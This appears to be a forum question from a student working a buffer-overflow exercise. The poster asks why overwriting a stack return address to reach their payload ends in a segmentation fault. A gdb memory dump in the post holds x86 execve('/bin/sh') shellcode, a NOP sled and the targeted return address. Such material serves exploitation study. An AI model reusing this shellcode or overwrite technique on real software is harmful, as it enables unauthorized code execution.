How to preserve address of buffer on the stack after overflow attack

I am doing a buffer overflow exploit and am trying to overwrite the return address 0x08048944 and point it towards my shell code which starts next to the address 0xffffda30.

  0xffffda30:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
  0xffffda40:     0x99e18953      0x80cd0bb0      0x90909090      0x90909090
  0xffffda50:     0x90909090      0x90909090      0x90909090      0x90909090
  0xffffda60:     0xffffd760      0x000002fc      0x0804b410      0x00000304
  0xffffda70:     0xf7fbdd60      0xffffdad0      0xffffdab8      0x08048944

The buffer itself is at the address 0xffffd760 after 0xffffda60. However I am unable to overwrite it without receiving a segmentation fault. Below is my exploit file that is a bunch of NOP's. I convert the file to binary using a python converter code so I could be able to feed the badfile into gdb. I have tried just copying the address of the buffer and the 3 addresses following it into my exploit file, so that the area remains unchanged as I added more NOP's afterwards until I reach the return address but it still results in a segmentation fault.

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